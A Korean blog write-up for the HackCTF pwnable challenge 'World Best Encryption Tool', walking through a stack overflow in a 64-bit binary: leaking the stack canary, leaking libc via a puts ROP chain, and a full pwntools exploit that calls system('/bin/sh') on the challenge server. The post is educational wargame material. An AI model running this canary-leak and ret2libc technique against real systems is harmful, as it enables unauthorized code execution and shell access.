Pwnstar

HackCTF World Best Encryption Tool 본문

Wargame/HackCTF

HackCTF World Best Encryption Tool

포너블처돌이 2020. 6. 28. 19:04

 

휴 오늘은 이 문제까지만 라업을 작성해야겠다.

 

HackCTF 문제를 풀면서 참 많은 공부가 됐다. 라업도 그때그때 착실하게 작성했더라면 좋았을텐데 말이지...

 

아무튼

 

64비트 바이너리이고, 카나리와 NX bit가 걸려있다.

 

IDA로 메인함수를 한 번 보자.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int i; // [rsp+8h] [rbp-88h]
  char s1; // [rsp+Ch] [rbp-84h]
  char src[64]; // [rsp+10h] [rbp-80h]
  char dest; // [rsp+50h] [rbp-40h]
  unsigned __int64 v8; // [rsp+88h] [rbp-8h]

  v8 = __readfsqword(40u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  do
  {
    puts("Your text)");
    __isoc99_scanf("%s", src);
    for ( i = 0; i <= 49; ++i )
      src[i] ^= 28u;
    strncpy(&dest, src, 57uLL);
    printf("Encrypted text)\n%s", &dest);
    puts("\nWanna encrypt other text? (Yes/No)");
    __isoc99_scanf("%s", &s1);
  }
  while ( !strcmp(&s1, "Yes") );
  if ( strcmp(&s1, "No") )
    printf("It's not on the option", "No");
  return 0;
}

 

음 우선 src에 입력을 받고, for문을 50번 돌면서 입력값과 28을 xor해서 다시 src에 저장한다. 그리고 src에서 dest에 57바이트만큼 저장을 한 이후 입력 값을 출력해준다. 이 부분을 통해서 카나리를 leak할 수 있다.

 

xor하는 범위는 50바이트만큼이고, 그 뒤로는 xor하지 않으므로 뒤에 B와 C를 붙여 canary를 뽑아보자

 

canary_leak.py

from pwn import*

#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")

set_ = e.got['setvbuf']
puts_ = e.plt['puts']
log.info("setvbuf = " + hex(set_))
log.info("puts = " + hex(puts_))

prdi = 0x00000000004008e3
main = e.symbols['main']
s_off = 0x6fe70
binsh_off = 0x18cd57
sys_off = 0x45390

p.recvuntil("Your text)\n")

payload = "A"*55
payload += "B"
payload += "C"

p.sendline(payload)
sleep(0.5)
p.recvuntil("B")
canary = u64(p.recv(8))-0x43
log.info(hex(canary))

p.interactive()

 

이렇게 코드를 짜서 실행해보자.

 

 

오 성공이다. 그러고 또 입력을 받을 수 있는 듯 하다.

 

대충 감 잡은 것 같다.

 

libc를 leak하고, system("/bin/sh")를 해주면 될 것이다.

 

libc_leak.py

from pwn import*

#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")

set_ = e.got['setvbuf']
puts_ = e.plt['puts']
log.info("setvbuf = " + hex(set_))
log.info("puts = " + hex(puts_))

prdi = 0x00000000004008e3
main = e.symbols['main']
s_off = 0x6fe70
binsh_off = 0x18cd57
sys_off = 0x45390

p.recvuntil("Your text)\n")

payload = "A"*55
payload += "B"
payload += "C"

p.sendline(payload)
sleep(0.5)
p.recvuntil("B")
canary = u64(p.recv(8))-0x43
log.info(hex(canary))


p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("Yes")

p.recvuntil("Your text)\n")

payload2 = "A"*56
payload2 += "\x00"
payload2 += "C"*63
payload2 += p64(canary)
payload2 += "B"*8
payload2 += p64(prdi)
payload2 += p64(set_)
payload2 += p64(puts_)
payload2 += p64(main)

p.sendline(payload2)
sleep(0.5)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")

set_got = u64(p.recv(6)+"\x00\x00")
log.info("setvbuf got = " + hex(set_got))
libc_base = set_got-s_off
log.info("libc base = " + hex(libc_base))
system = libc_base+sys_off
binsh = libc_base+binsh_off

p.interactive()

 

이렇게 보내면 libc가 leak된다. 마지막에 다른 텍스트를 encrypt하시겠습니까?에 No를 입력하는 이유는 그래야 ret으로 뛰기 때문이다.

 

libc도 leak하는데 성공했으면 이제 system("/bin/sh")를 실행하는 일만 남았다.

 

ex.py

from pwn import*

#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./World_best_encryption_tool")

set_ = e.got['setvbuf']
puts_ = e.plt['puts']
log.info("setvbuf = " + hex(set_))
log.info("puts = " + hex(puts_))

prdi = 0x00000000004008e3
main = e.symbols['main']
s_off = 0x6fe70
binsh_off = 0x18cd57
sys_off = 0x45390

p.recvuntil("Your text)\n")

payload = "A"*55
payload += "B"
payload += "C"

p.sendline(payload)
sleep(0.5)
p.recvuntil("B")
canary = u64(p.recv(8))-0x43
log.info(hex(canary))


p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("Yes")

p.recvuntil("Your text)\n")

payload2 = "A"*56
payload2 += "\x00"
payload2 += "C"*63
payload2 += p64(canary)
payload2 += "B"*8
payload2 += p64(prdi)
payload2 += p64(set_)
payload2 += p64(puts_)
payload2 += p64(main)

p.sendline(payload2)
sleep(0.5)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")
#p.recv(1024)

set_got = u64(p.recv(6)+"\x00\x00")
log.info("setvbuf got = " + hex(set_got))
libc_base = set_got-s_off
log.info("libc base = " + hex(libc_base))
system = libc_base+sys_off
binsh = libc_base+binsh_off

p.recvuntil("Your text)\n")

payload3 = "A"*56
payload3 += "\x00"
payload3 += "C"*63
payload3 += p64(canary)
payload3 += "B"*8
payload3 += p64(prdi)
payload3 += p64(binsh)
payload3 += p64(system)

p.sendline(payload3)

p.interactive()

 

총 익스는 이렇게 된다.

 

 

마찬가지로 마지막에 No를 입력하면

쉘을 실행시킬 수 있다.

 

 

'Wargame > HackCTF' 카테고리의 다른 글

HackCTF Unexploitable #3  (0) 2020.06.29
HackCTF j0n9hyun's secret  (0) 2020.06.29
HackCTF register  (0) 2020.06.28
HackCTF rtc  (0) 2020.06.28
HackCTF you_are_silver  (0) 2020.06.27
Comments